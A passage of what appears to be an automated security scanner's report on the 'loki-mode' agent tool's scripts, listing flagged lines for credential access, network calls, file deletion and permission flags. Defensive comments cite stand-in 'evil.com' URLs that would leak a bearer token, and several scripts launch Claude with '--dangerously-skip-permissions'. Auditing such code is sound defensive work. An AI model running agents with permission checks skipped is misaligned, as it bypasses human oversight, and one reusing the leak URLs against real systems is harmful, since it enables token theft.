    local rc=0     local out=""     _LOKI_PERM_ARGV=(--dangerously-skip-permissions)
  • Instruction override signalline 88
    local out=""     _LOKI_PERM_ARGV=(--dangerously-skip-permissions)     ! type _loki_claude_permission_argv >/dev/null 2>&1 || _loki_claude_permission_argv
  • Instruction override signalline 89
    _LOKI_PERM_ARGV=(--dangerously-skip-permissions)
  • Access to secretsline 169
    [Credential-related source omitted]
  • Access to secretsline 290
    [Credential-related source omitted]
  • Access to secretsline 291
    [Credential-related source omitted]
  • Access to secretsline 292
    [Credential-related source omitted]
  • Access to secretsline 293
    [Credential-related source omitted]
  • Access to secretsline 410
    [Credential-related source omitted]
  • Access to secretsline 411
    [Credential-related source omitted]

autonomy/lib/preedit_snapshot.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 199
    [Credential-related source omitted]
  • Access to secretsline 200
    [Credential-related source omitted]
  • Access to secretsline 204
    [Credential-related source omitted]

autonomy/lib/project-graph.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 192
    [Credential-related source omitted]
  • Access to secretsline 195
    [Credential-related source omitted]
  • Access to secretsline 468
    [Credential-related source omitted]
  • Access to secretsline 478
    [Credential-related source omitted]

autonomy/lib/proof-analytics-props.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 20
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 109
    [Credential-related source omitted]
  • Access to secretsline 120
    [Credential-related source omitted]

autonomy/lib/proof-check.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

autonomy/lib/proof-generator.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 349
    [Credential-related source omitted]
  • Access to secretsline 566
    [Credential-related source omitted]
  • Access to secretsline 736
    [Credential-related source omitted]
  • Access to secretsline 737
    [Credential-related source omitted]
  • Access to secretsline 738
    [Credential-related source omitted]
  • Access to secretsline 1138
    [Credential-related source omitted]
  • Access to secretsline 1414
    [Credential-related source omitted]
  • Access to secretsline 1533
    [Credential-related source omitted]
  • Access to secretsline 1617
    [Credential-related source omitted]
  • Access to secretsline 1631
    [Credential-related source omitted]
  • Access to secretsline 1684
    [Credential-related source omitted]
  • Access to secretsline 1691
    [Credential-related source omitted]
  • Access to secretsline 2027
    [Credential-related source omitted]
  • Access to secretsline 2098
    [Credential-related source omitted]
  • Access to secretsline 2440
    [Credential-related source omitted]
  • Access to secretsline 2470
    [Credential-related source omitted]
  • Access to secretsline 2527
    [Credential-related source omitted]

autonomy/lib/proof-pr.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

autonomy/lib/proof-template.html

  • Network accessline 453
    <div class="footer">     <a id="madeWith" href="https://github.com/asklokesh/loki-mode" rel="noopener">Made with Loki Mode</a>
  • Network accessline 454
    <a id="madeWith" href="https://github.com/asklokesh/loki-mode" rel="noopener">Made with Loki Mode</a>
  • Network accessline 1430
    var target;       if (kind === "x") {         target = "https" + "://twitter" + ".com/intent/tweet?text=" +
  • Network accessline 1431
    if (kind === "x") {         target = "https" + "://twitter" + ".com/intent/tweet?text=" +                  encodeURIComponent(shareHook()) + "&url=" + encodeURIComponent(url);
  • Network accessline 1432
    target = "https" + "://twitter" + ".com/intent/tweet?text=" +
  • Network accessline 1434
    } else if (kind === "linkedin") {         // LinkedIn ignores prefilled text; URL only.         target = "https" + "://www." + "linkedin" + ".com/sharing/share-offsite/?url=" +
  • Network accessline 1435
    // LinkedIn ignores prefilled text; URL only.         target = "https" + "://www." + "linkedin" + ".com/sharing/share-offsite/?url=" +                  encodeURIComponent(url);
  • Network accessline 1436
    target = "https" + "://www." + "linkedin" + ".com/sharing/share-offsite/?url=" +

autonomy/lib/proof-verify.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 306
    [Credential-related source omitted]
  • Access to secretsline 1171
    [Credential-related source omitted]
  • Access to secretsline 1781
    [Credential-related source omitted]

autonomy/lib/proof_redact.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 22
    [Credential-related source omitted]
  • Access to secretsline 134
    [Credential-related source omitted]
  • Access to secretsline 154
    [Credential-related source omitted]
  • Access to secretsline 155
    [Credential-related source omitted]
  • Access to secretsline 156
    [Credential-related source omitted]
  • Network accessline 190
    [Credential-related source omitted]
  • Network accessline 191
    [Credential-related source omitted]
  • Network accessline 192
    [Credential-related source omitted]
  • Network accessline 193
    [Credential-related source omitted]

autonomy/lib/requirements_contract.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 150
    def _schema(spec_sha256: str, ids: list[str], count: int) -> dict[str, object]:     return {         "$schema": "http://json-schema.org/draft-07/schema#",
  • Network accessline 151
    return {         "$schema": "http://json-schema.org/draft-07/schema#",         "type": "object",
  • Network accessline 152
    "$schema": "http://json-schema.org/draft-07/schema#",

autonomy/lib/review_risk.py

  • Executable scriptline 1
    #!/usr/bin/env python3

autonomy/lib/run-summary.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 51
    [Credential-related source omitted]
  • Access to secretsline 75
    [Credential-related source omitted]

autonomy/lib/scaffold-hook.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

autonomy/lib/sdk-mode.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 39
    [Credential-related source omitted]
  • Access to secretsline 40
    [Credential-related source omitted]

autonomy/lib/secret-paths.json

  • Access to secretsline 5
    [Credential-related source omitted]
  • Access to secretsline 6
    [Credential-related source omitted]

autonomy/lib/secret-scan.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 24
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]
  • Access to secretsline 128
    [Credential-related source omitted]
  • Access to secretsline 135
    [Credential-related source omitted]

autonomy/lib/secure-scan.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 314
    [Credential-related source omitted]
  • Dangerous shell operationline 804
    [Credential-related source omitted]

autonomy/lib/sentrux-gate.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 5
    #   Loki's existing 8 quality gates and 3-reviewer council catch correctness #   and behavioral regressions, but no current gate emits a deterministic, #   per-iteration architecture-drift signal. sentrux (https://github.com/sentrux/sentrux
  • Network accessline 6
    #   and behavioral regressions, but no current gate emits a deterministic, #   per-iteration architecture-drift signal. sentrux (https://github.com/sentrux/sentrux) #   is a Rust CLI that scores codebase structure (modularity, acyclicity,
  • Network accessline 7
    #   per-iteration architecture-drift signal. sentrux (https://github.com/sentrux/sentrux)

autonomy/lib/setup-requirements.json

  • Access to secretsline 8
    [Credential-related source omitted]
  • Network accessline 9
    ],   "requirements": [     { "id": "node", "path": "common", "level": "required", "kind": "command", "target": "node", "min": "20.0", "label": "Node.js 20 or newer", "fix": "install Node 20+ from https://nodejs.org" },
  • Network accessline 10
    "requirements": [     { "id": "node", "path": "common", "level": "required", "kind": "command", "target": "node", "min": "20.0", "label": "Node.js 20 or newer", "fix": "install Node 20+ from https://nodejs.org" },     { "id": "python3", "pa
  • Network accessline 11
    { "id": "node", "path": "common", "level": "required", "kind": "command", "target": "node", "min": "20.0", "label": "Node.js 20 or newer", "fix": "install Node 20+ from https://nodejs.org" },
  • Network accessline 13
    { "id": "jq", "path": "common", "level": "optional", "kind": "command", "target": "jq", "label": "jq (loki status and the bash fallback CLI; loki \"<goal>\" runs without it)", "fix": "install jq with your package manager (brew install jq)" 
  • Network accessline 14
    { "id": "git", "path": "common", "level": "required", "kind": "command", "target": "git", "label": "git", "fix": "install git with your package manager (brew install git)" },     { "id": "curl", "path": "common", "level": "required", "kind"
  • Network accessline 15
    { "id": "curl", "path": "common", "level": "required", "kind": "command", "target": "curl", "label": "curl", "fix": "install curl with your package manager (brew install curl)" },
  • Network accessline 17
    { "id": "bun", "path": "common", "level": "optional", "kind": "command", "target": "bun", "min": "1.3", "label": "Bun 1.3 or newer (bundled by npm install)", "fix": "reinstall without --no-optional (npm bundles @oven/bun-*) or install from 
  • Network accessline 21
    [Credential-related source omitted]
  • Access to secretsline 21
    [Credential-related source omitted]
  • Network accessline 23
    { "id": "sdk-bun", "path": "api-key-sdk", "level": "required", "kind": "command", "target": "bun", "min": "1.3", "label": "Bun runtime (the SDK loop runs only on the Bun route)", "fix": "reinstall without --no-optional (npm bundles @oven/bu

autonomy/lib/silence_report.py

  • Executable scriptline 1
    #!/usr/bin/env python3

autonomy/lib/skill-link-heal.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 50
    rm -f "$out"
  • Dangerous shell operationline 58
    rm -f "$out"
  • Dangerous shell operationline 178
    rm -f "$tmp" 2>/dev/null
  • Dangerous shell operationline 185
    rm -f "$tmp" 2>/dev/null

autonomy/lib/spec-expand.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 63
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Dangerous shell operationline 197
    mv -f "$tmp" "$dest" 2>/dev/null || { rm -f "$tmp" 2>/dev/null; echo ""; return 0; }
  • Dangerous shell operationline 205
    rm -f "$tmp" 2>/dev/null

autonomy/lib/tree_digest.py

  • Executable scriptline 1
    #!/usr/bin/env python3

autonomy/lib/trust_metrics.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 130
    [Credential-related source omitted]
  • Access to secretsline 614
    [Credential-related source omitted]

autonomy/lib/trust_trajectory.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 564
    [Credential-related source omitted]

autonomy/lib/verdict.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 175
    [Credential-related source omitted]
  • Access to secretsline 176
    [Credential-related source omitted]

autonomy/lib/voter-agents.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 102
    [Credential-related source omitted]
  • Access to secretsline 103
    [Credential-related source omitted]
  • Access to secretsline 104
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 178
    [Credential-related source omitted]
  • Instruction override signalline 221
    #      --json-schema in `claude --help`. Either missing -> return 1 (fallback). #   2. Build the agents JSON via loki_voter_agents_json. #   3. Invoke `claude --dangerously-skip-permissions -p <prompt>
  • Instruction override signalline 222
    #   2. Build the agents JSON via loki_voter_agents_json. #   3. Invoke `claude --dangerously-skip-permissions -p <prompt> #                    --agents <json> --json-schema <inline-content>` and capture stdout.
  • Instruction override signalline 223
    #   3. Invoke `claude --dangerously-skip-permissions -p <prompt>
  • Dangerous shell operationline 344
    rm -f "$_va_pf" 2>/dev/null || true
  • Instruction override signalline 388
    _LOKI_PERM_ARGV=(--dangerously-skip-permissions)
  • Access to secretsline 463
    [Credential-related source omitted]
  • Access to secretsline 471
    [Credential-related source omitted]
  • Access to secretsline 472
    [Credential-related source omitted]
  • Access to secretsline 473
    [Credential-related source omitted]
  • Access to secretsline 489
    [Credential-related source omitted]

autonomy/lib/wiki-ask.py

  • Executable scriptline 1
    #!/usr/bin/env python3

autonomy/lib/wiki-generator.py

  • Executable scriptline 1
    #!/usr/bin/env python3

autonomy/lib/wiki_index.py

  • Executable scriptline 1
    Executable file

autonomy/lib/wiki_llm.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 51
    [Credential-related source omitted]
  • Access to secretsline 68
    [Credential-related source omitted]
  • Access to secretsline 80
    [Credential-related source omitted]
  • Access to secretsline 117
    [Credential-related source omitted]

autonomy/lib/workspace.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 77
    [Credential-related source omitted]
  • Network accessline 138
    if not os.path.isdir(os.path.join(dest, ".git")):         os.makedirs(os.path.dirname(dest), exist_ok=True)         r = subprocess.run(["git", "clone", "https://github.com/%s.git" % entry["repo"], dest],
  • Network accessline 139
    os.makedirs(os.path.dirname(dest), exist_ok=True)         r = subprocess.run(["git", "clone", "https://github.com/%s.git" % entry["repo"], dest],                            capture_output=True, text=True)
  • Network accessline 140
    r = subprocess.run(["git", "clone", "https://github.com/%s.git" % entry["repo"], dest],
  • Access to secretsline 194
    [Credential-related source omitted]
  • Access to secretsline 229
    [Credential-related source omitted]
  • Access to secretsline 281
    [Credential-related source omitted]
  • Access to secretsline 282
    [Credential-related source omitted]
  • Access to secretsline 288
    [Credential-related source omitted]
  • Access to secretsline 293
    [Credential-related source omitted]
  • Access to secretsline 468
    [Credential-related source omitted]
  • Access to secretsline 470
    [Credential-related source omitted]

autonomy/lib/workspace_comment.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 3
    [Credential-related source omitted]
  • Access to secretsline 59
    [Credential-related source omitted]

autonomy/lib/workspace_diff.py

  • Executable scriptline 1
    #!/usr/bin/env python3

autonomy/lib/workspace_metrics.py

  • Executable scriptline 1
    #!/usr/bin/env python3

autonomy/lib/worktree_prep.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 112
    [Credential-related source omitted]

autonomy/loki

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 34
    # v7.4.5 (BUG-15 bash route): honor NO_COLOR convention (https://no-color.org/)
  • Instruction override signalline 142
    # P12-26b: permission flags for the migrate/doc/heal claude launches. Lazily sources # claude-flags.sh (like the caveman wrapper above) and fills _LOKI_PERM_ARGV; unset # LOKI_PERMISSION_POLICY=legacy keeps --dangerously-skip-permissions by
  • Instruction override signalline 144
    # LOKI_PERMISSION_POLICY=legacy keeps --dangerously-skip-permissions byte-identically.
  • Instruction override signalline 155
    )" || _LOKI_CLAUDE_SHELL=""     [ -n "$_LOKI_CLAUDE_SHELL" ] || _LOKI_CLAUDE_SHELL="${SHELL-}"     _LOKI_PERM_ARGV=(--dangerously-skip-permissions)
  • Instruction override signalline 157
    _LOKI_PERM_ARGV=(--dangerously-skip-permissions)
  • Dangerous shell operationline 328
    # then degrade to a plain exec (the cwd+sentinel agent sweep is the backstop).
  • Network accessline 430
    *) return 0 ;;     esac     printf '[![Loki: %s](https://img.shields.io/static/v1?label=Loki&message=%s&color=%s)](%s)\n' \
  • Network accessline 431
    esac     printf '[![Loki: %s](https://img.shields.io/static/v1?label=Loki&message=%s&color=%s)](%s)\n' \         "$message" "${message// /%20}" "$color" "$url"
  • Network accessline 432
    printf '[![Loki: %s](https://img.shields.io/static/v1?label=Loki&message=%s&color=%s)](%s)\n' \
  • Network accessline 467
    # _loki_latest_published_version: print the latest published version (fresh # cache first, else one short registry fetch that refreshes the cache), or # nothing when offline. Optional $1 = curl timeout seconds (default 3).
  • Network accessline 468
    # cache first, else one short registry fetch that refreshes the cache), or # nothing when offline. Optional $1 = curl timeout seconds (default 3). # Never fabricates, always returns 0.
  • Network accessline 469
    # nothing when offline. Optional $1 = curl timeout seconds (default 3).
  • Network accessline 485
    latest=""     fi     if command -v curl >/dev/null 2>&1; then
  • Network accessline 486
    fi     if command -v curl >/dev/null 2>&1; then         latest=$(curl -fsS --max-time "$timeout" "https://registry.npmjs.org/loki-mode/latest" 2>/dev/null \
  • Network accessline 487
    if command -v curl >/dev/null 2>&1; then
  • Network accessline 488
    latest=$(curl -fsS --max-time "$timeout" "https://registry.npmjs.org/loki-mode/latest" 2>/dev/null \
  • Dangerous shell operationline 549
    # one run's `rm -rf` would delete the tree another is importing from. Lock
  • Dangerous shell operationline 567
    # Do NOT fall through into the rm -rf unlocked -- that is the exact
  • Dangerous shell operationline 570
    echo "  Retry, or remove a stale lock: rm -rf ${dashboard_venv}.lockdir"
  • Dangerous shell operationline 582
    rm -rf "$dashboard_venv"
  • Dangerous shell operationline 588
    echo "  sudo apt install python3-venv    (Debian/Ubuntu)"
  • Dangerous shell operationline 626
    echo "  rm -rf ${dashboard_venv}"
  • Network accessline 653
    # The bearer token is read from LOKI_REMOTE_TOKEN or LOKI_REMOTE_TOKEN_FILE and # is NEVER placed in argv (the process list is world-readable) and never logged. # It reaches curl through `--config -` on stdin.
  • Network accessline 655
    # It reaches curl through `--config -` on stdin.
  • Network accessline 657
    # Extract the host from a URL: strip scheme, userinfo, then cut at the first # '/', ':' or '?'. Compared EXACTLY, never by prefix -- "http://localhost*"
  • Network accessline 658
    # '/', ':' or '?'. Compared EXACTLY, never by prefix -- "http://localhost*"
  • Network accessline 659
    # would happily accept http://localhost.evil.com and leak a bearer token.
  • Access to secretsline 683
    [Credential-related source omitted]
  • Access to secretsline 684
    [Credential-related source omitted]
  • Network accessline 695
    # curl with the Authorization header fed on stdin via --config, so the token
  • Network accessline 698
    [Credential-related source omitted]
  • Network accessline 699
    [Credential-related source omitted]
  • Network accessline 700
    | curl --config - "$@"
  • Network accessline 718
    case "$url" in         http://*)
  • Network accessline 719
    http://*)
  • Network accessline 720
    if ! loki_remote_is_local_host "$url" && [ "${LOKI_REMOTE_INSECURE:-}" != "1" ]; then                 echo -e "${RED}loki: refusing to send a bearer token over plaintext http to $(loki_remote_host "$url")${NC}" >&2                 echo "  U
  • Network accessline 721
    echo -e "${RED}loki: refusing to send a bearer token over plaintext http to $(loki_remote_host "$url")${NC}" >&2                 echo "  Use https://, or set LOKI_REMOTE_INSECURE=1 to override." >&2                 return 1
  • Network accessline 722
    echo "  Use https://, or set LOKI_REMOTE_INSECURE=1 to override." >&2
  • Network accessline 737
    local body resp     body="$(jq -nc --arg s "$spec" '{spec:$s}')"
  • Network accessline 738
    body="$(jq -nc --arg s "$spec" '{spec:$s}')"
  • Dangerous shell operationline 902
    python3 -E - "$pj" "$d" <<'PY' 2>/dev/null || { rm -rf "$d"; return 0; }
  • Dangerous shell operationline 920
    rm -rf "$d"
  • Network accessline 953
    # The host is bounded exactly (up to the first "/", then stripped of any     # port) rather than matched with a trailing glob, and a userinfo "@" is     # rejected outright -- "http://127.0.0.1:80@evil.com" is host evil.com to
  • Network accessline 954
    # port) rather than matched with a trailing glob, and a userinfo "@" is     # rejected outright -- "http://127.0.0.1:80@evil.com" is host evil.com to     # any real URL parser (userinfo before the @, host after), and a loose
  • Network accessline 955
    # rejected outright -- "http://127.0.0.1:80@evil.com" is host evil.com to
  • Network accessline 957
    # `http://127.0.0.1:*` glob would wrongly wave that straight through.
  • Network accessline 958
    case "$url" in         https://*|file://*) ;;
  • Network accessline 959
    https://*|file://*) ;;
  • Network accessline 960
    http://*)
  • Network accessline 961
    _jh="${url#http://}"; _jh="${_jh%%/*}"
  • Network accessline 1013
    sys.exit(1) try:     with urllib.request.urlopen(
  • Network accessline 1014
    try:     with urllib.request.urlopen(             sys.argv[2].rstrip("/") + "/.well-known/jwks.json", timeout=10) as r:
  • Network accessline 1015
    with urllib.request.urlopen(
  • Network accessline 1108
    case "$src" in         https://*|http://*|file://*)
  • Network accessline 1109
    https://*|http://*|file://*)
  • Network accessline 1110
    case "$src" in                 https://*|file://*) ;;                 http://*)
  • Network accessline 1111
    https://*|file://*) ;;
  • Network accessline 1112
    http://*)
  • Network accessline 1113
    _jh="${src#http://}"; _jh="${_jh%%/*}"
  • Network accessline 1171
    if src.startswith(("http://", "https://")):
  • Network accessline 1172
    url = src if src.rstrip("/").endswith("jwks.json") else \             src.rstrip("/") + "/.well-known/jwks.json"         with urllib.request.urlopen(url, timeout=10) as r:
  • Network accessline 1173
    src.rstrip("/") + "/.well-known/jwks.json"         with urllib.request.urlopen(url, timeout=10) as r:             jwks = json.loads(r.read())
  • Network accessline 1174
    with urllib.request.urlopen(url, timeout=10) as r:
  • Access to secretsline 1393
    [Credential-related source omitted]
  • Network accessline 1562
    else         echo "loki report kpis requires the Bun runtime and is not available on the bash route." >&2         echo "Remove LOKI_LEGACY_BASH=1 (or install Bun: https://bun.sh) to use 'loki report kpis'." >&2
  • Network accessline 1563
    echo "loki report kpis requires the Bun runtime and is not available on the bash route." >&2         echo "Remove LOKI_LEGACY_BASH=1 (or install Bun: https://bun.sh) to use 'loki report kpis'." >&2     fi
  • Network accessline 1564
    echo "Remove LOKI_LEGACY_BASH=1 (or install Bun: https://bun.sh) to use 'loki report kpis'." >&2
  • Access to secretsline 1667
    [Credential-related source omitted]
  • Access to secretsline 1668
    [Credential-related source omitted]
  • Access to secretsline 1669
    [Credential-related source omitted]
  • Possible obfuscationline 1675
    prd_context = base64.b64decode(prd_context_b64).decode('utf-8', errors='replace')
  • Access to secretsline 1720
    [Credential-related source omitted]
  • Network accessline 1796
    echo -e "${BOLD}loki verify-pr${NC} - Verify a PR against its linked issue (experimental, LOKI_VERIFY_PR=1)"     echo ""     echo "Usage: loki verify-pr <https://github.com/o/r/pull/N | o/r#N> [--out DIR] [--json]"
  • Network accessline 1797
    echo ""     echo "Usage: loki verify-pr <https://github.com/o/r/pull/N | o/r#N> [--out DIR] [--json]"     echo "       loki verify-pr respond <o/r#N>   fix open review comments (one commit each, on the PR"
  • Network accessline 1798
    echo "Usage: loki verify-pr <https://github.com/o/r/pull/N | o/r#N> [--out DIR] [--json]"
  • Network accessline 1853
    echo "  quickstart = guided first build; quick = one small task (Loki 10 engine, no PR)."     echo "  loki \"<task>\", loki owner/repo#N and loki quick run on the Loki 10 engine by default."     echo "  Docs: https://github.com/asklokesh/lo
  • Network accessline 1854
    echo "  loki \"<task>\", loki owner/repo#N and loki quick run on the Loki 10 engine by default."     echo "  Docs: https://github.com/asklokesh/loki-mode  |  Report a problem: loki crash"     echo ""
  • Network accessline 1855
    echo "  Docs: https://github.com/asklokesh/loki-mode  |  Report a problem: loki crash"
  • Access to secretsline 1986
    [Credential-related source omitted]
  • Network accessline 1990
    echo ""     echo "  # Anthropic-PROTOCOL gateways (LiteLLM, Bedrock proxies, self-hosted):"     echo "  export ANTHROPIC_BASE_URL=https://your-gateway/v1 \\\\"
  • Network accessline 1991
    echo "  # Anthropic-PROTOCOL gateways (LiteLLM, Bedrock proxies, self-hosted):"     echo "  export ANTHROPIC_BASE_URL=https://your-gateway/v1 \\\\"     echo "         LOKI_MODEL_OVERRIDE=<model-id-your-gateway-serves>"
  • Network accessline 1992
    echo "  export ANTHROPIC_BASE_URL=https://your-gateway/v1 \\\\"
  • Network accessline 2116
    import socket, sys for p in range(int(sys.argv[1]), int(sys.argv[1]) + 100):     s = socket.socket()
  • Network accessline 2117
    for p in range(int(sys.argv[1]), int(sys.argv[1]) + 100):     s = socket.socket()     try:
  • Network accessline 2118
    s = socket.socket()
  • Network accessline 2131
    # registry or a busy port: reusable only if /health reports THIS package's # version AND realpath, and GET / is 200 text/html. Any missing field, curl # error or mismatch means "not ours". Mirrors _loki_dashboard_reusable in run.sh.
  • Network accessline 2138
    [ -n "$want" ] || return 1     want_pkg="$(cd "$SKILL_DIR" 2>/dev/null && pwd -P)" || return 1     health="$(curl -s --max-time 2 "http://127.0.0.1:${port}/health" 2>/dev/null)" || return 1
  • Network accessline 2139
    want_pkg="$(cd "$SKILL_DIR" 2>/dev/null && pwd -P)" || return 1     health="$(curl -s --max-time 2 "http://127.0.0.1:${port}/health" 2>/dev/null)" || return 1     case "$health" in
  • Network accessline 2140
    health="$(curl -s --max-time 2 "http://127.0.0.1:${port}/health" 2>/dev/null)" || return 1
  • Network accessline 2147
    *) return 1 ;;     esac     probe="$(curl -s -o /dev/null -w '%{http_code} %{content_type}' --max-time 2 "http://127.0.0.1:${port}/" 2>/dev/null)" || return 1
  • Network accessline 2148
    esac     probe="$(curl -s -o /dev/null -w '%{http_code} %{content_type}' --max-time 2 "http://127.0.0.1:${port}/" 2>/dev/null)" || return 1     case "$probe" in "200 text/html"*) return 0 ;; esac
  • Network accessline 2149
    probe="$(curl -s -o /dev/null -w '%{http_code} %{content_type}' --max-time 2 "http://127.0.0.1:${port}/" 2>/dev/null)" || return 1
  • Network accessline 2176
    pid="${fields%% *}"; url="${fields#* }"     kill -0 "$pid" 2>/dev/null || return 1     health=$(curl -g -s --max-time 2 "${url}/health" 2>/dev/null) || return 1
  • Network accessline 2177
    kill -0 "$pid" 2>/dev/null || return 1     health=$(curl -g -s --max-time 2 "${url}/health" 2>/dev/null) || return 1     case "$health" in *'"service"'*'"loki-control"'*) ;; *) return 1 ;; esac
  • Network accessline 2178
    health=$(curl -g -s --max-time 2 "${url}/health" 2>/dev/null) || return 1
  • Network accessline 2190
    if [ -z "$url" ]; then         if ! command -v bun >/dev/null 2>&1; then             echo "loki: the Control Plane needs bun (https://bun.sh); using the classic dashboard." >&2
  • Network accessline 2191
    if ! command -v bun >/dev/null 2>&1; then             echo "loki: the Control Plane needs bun (https://bun.sh); using the classic dashboard." >&2             return 1
  • Network accessline 2192
    echo "loki: the Control Plane needs bun (https://bun.sh); using the classic dashboard." >&2
  • Network accessline 2244
    LOKI_PROJECT_DIR="$PWD" \             LOKI_DASHBOARD_CORS="http://localhost:$port,http://127.0.0.1:$port" \
  • Network accessline 2245
    LOKI_DASHBOARD_CORS="http://localhost:$port,http://127.0.0.1:$port" \
  • Network accessline 2249
    local url="http://127.0.0.1:${port}"
  • Network accessline 2308
    if [[ "$arg" =~ ^https://[^/]*sentry[^/]*/.*issues/[0-9]+ ]]; then
  • Network accessline 2478
    case $i in                 2) printf "   %b   %b%bLOKI%b\n" "$line" "$b" "$pF" "$nc" >&2 ;;
  • Network accessline 2479
    2) printf "   %b   %b%bLOKI%b\n" "$line" "$b" "$pF" "$nc" >&2 ;;
  • Network accessline 2480
    3) printf "   %b   %bAutonomi cockpit%b\n" "$line" "$dim" "$nc" >&2 ;;
  • Network accessline 2488
    local p=$'\033[38;5;99m' t=$'\033[38;5;43m'         printf '\n   %s%s\xE2\x97\x86%s %sLOKI%s %s\xE2\x97\x8F%s %sAutonomi cockpit%s\n\n' \             "$b" "$p" "$nc" "$b" "$nc" "$t" "$nc" "$dim" "$nc" >&2
  • Network accessline 2489
    printf '\n   %s%s\xE2\x97\x86%s %sLOKI%s %s\xE2\x97\x8F%s %sAutonomi cockpit%s\n\n'              "$b" "$p" "$nc" "$b" "$nc" "$t" "$nc" "$dim" "$nc" >&2
  • Network accessline 2490
    "$b" "$p" "$nc" "$b" "$nc" "$t" "$nc" "$dim" "$nc" >&2
  • Network accessline 2530
    local spec="$1" tier="$2" prov="$3"     local port="${LOKI_DASHBOARD_PORT:-57374}"     local dash_url="http://127.0.0.1:${port}"
  • Network accessline 2531
    local port="${LOKI_DASHBOARD_PORT:-57374}"     local dash_url="http://127.0.0.1:${port}"     local budget="${LOKI_BUDGET_LIMIT:-none}"
  • Network accessline 2532
    local dash_url="http://127.0.0.1:${port}"
  • Network accessline 3058
    echo "  loki start --brief \"snake\"              # BRIEF mode (single-word escape hatch)"                 echo "  loki start ./prd.md                     # PRD mode"                 echo "  loki start https://github.com/o/r/issues/42  # IS
  • Network accessline 3059
    echo "  loki start ./prd.md                     # PRD mode"                 echo "  loki start https://github.com/o/r/issues/42  # ISSUE mode (GitHub)"                 echo "  loki start 123                          # ISSUE mode (current re
  • Network accessline 3060
    echo "  loki start https://github.com/o/r/issues/42  # ISSUE mode (GitHub)"
  • Network accessline 3304
    shift 2                 else                     mirofish_url="http://localhost:5001"
  • Network accessline 3305
    else                     mirofish_url="http://localhost:5001"                     shift
  • Network accessline 3306
    mirofish_url="http://localhost:5001"
  • Network accessline 3315
    if [[ -n "${2:-}" ]]; then                     mirofish_docker_image="$2"                     mirofish_url="${mirofish_url:-http://localhost:5001}"
  • Network accessline 3316
    mirofish_docker_image="$2"                     mirofish_url="${mirofish_url:-http://localhost:5001}"                     shift 2
  • Network accessline 3317
    mirofish_url="${mirofish_url:-http://localhost:5001}"
  • Network accessline 3324
    --mirofish-docker=*)                 mirofish_docker_image="${1#*=}"                 mirofish_url="${mirofish_url:-http://localhost:5001}"
  • Network accessline 3325
    mirofish_docker_image="${1#*=}"                 mirofish_url="${mirofish_url:-http://localhost:5001}"                 shift
  • Network accessline 3326
    mirofish_url="${mirofish_url:-http://localhost:5001}"
  • Network accessline 3557
    shift 2                 else                     echo "loki: --remote requires a URL (e.g. --remote https://loki.example.com)" >&2
  • Network accessline 3558
    else                     echo "loki: --remote requires a URL (e.g. --remote https://loki.example.com)" >&2                     exit 1
  • Network accessline 3559
    echo "loki: --remote requires a URL (e.g. --remote https://loki.example.com)" >&2
  • Dangerous shell operationline 3704
    rm -f "$LOKI_DIR/state/brief.txt" 2>/dev/null || true
  • Dangerous shell operationline 3810
    find "$LOKI_DIR" -maxdepth 1 -name 'brief-prd-*.md' -mtime +1 -delete 2>/dev/null || true
  • Dangerous shell operationline 3811
    find "$LOKI_DIR" -maxdepth 1 -name 'quick-prd-*.md' -mtime +1 -delete 2>/dev/null || true
  • Dangerous shell operationline 3867
    find "$LOKI_DIR" -maxdepth 1 -name 'repo-prd-*.md' -mtime +1 -delete 2>/dev/null || true
  • Network accessline 4080
    if [[ -z "$mirofish_url" ]] && [[ -n "${LOKI_MIROFISH_URL:-}" ]] && [[ "$mirofish_disabled" != "true" ]]; then
  • Dangerous shell operationline 4242
    [ -n "$_co_pid" ] && rm -f "$_co_marker" 2>/dev/null || true
  • Dangerous shell operationline 4296
    rm -f "$_start_pid_file" 2>/dev/null || true
  • Dangerous shell operationline 4297
    rm -f "$_start_loki_dir/session.lock" 2>/dev/null || true
  • Dangerous shell operationline 4643
    rm -f "$_stop_pgid_file" 2>/dev/null || true
  • Dangerous shell operationline 4660
    rm -f "$pid_file"
  • Dangerous shell operationline 4671
    rm -f "$run_pid_file"
  • Dangerous shell operationline 4675
    rm -f "$session_dir/session.lock" 2>/dev/null
  • Dangerous shell operationline 4802
    # --rm may auto-remove on stop; rm is best-effort (already-gone is fine).
  • Dangerous shell operationline 4803
    docker rm "$_docker_container" >/dev/null 2>&1 || true
  • Dangerous shell operationline 4809
    rm -f "$_docker_runstate" 2>/dev/null || true
  • Dangerous shell operationline 4836
    rm -f "$run_pid_file"
  • Dangerous shell operationline 4860
    rm -f "$pid_file"
  • Access to secretsline 4869
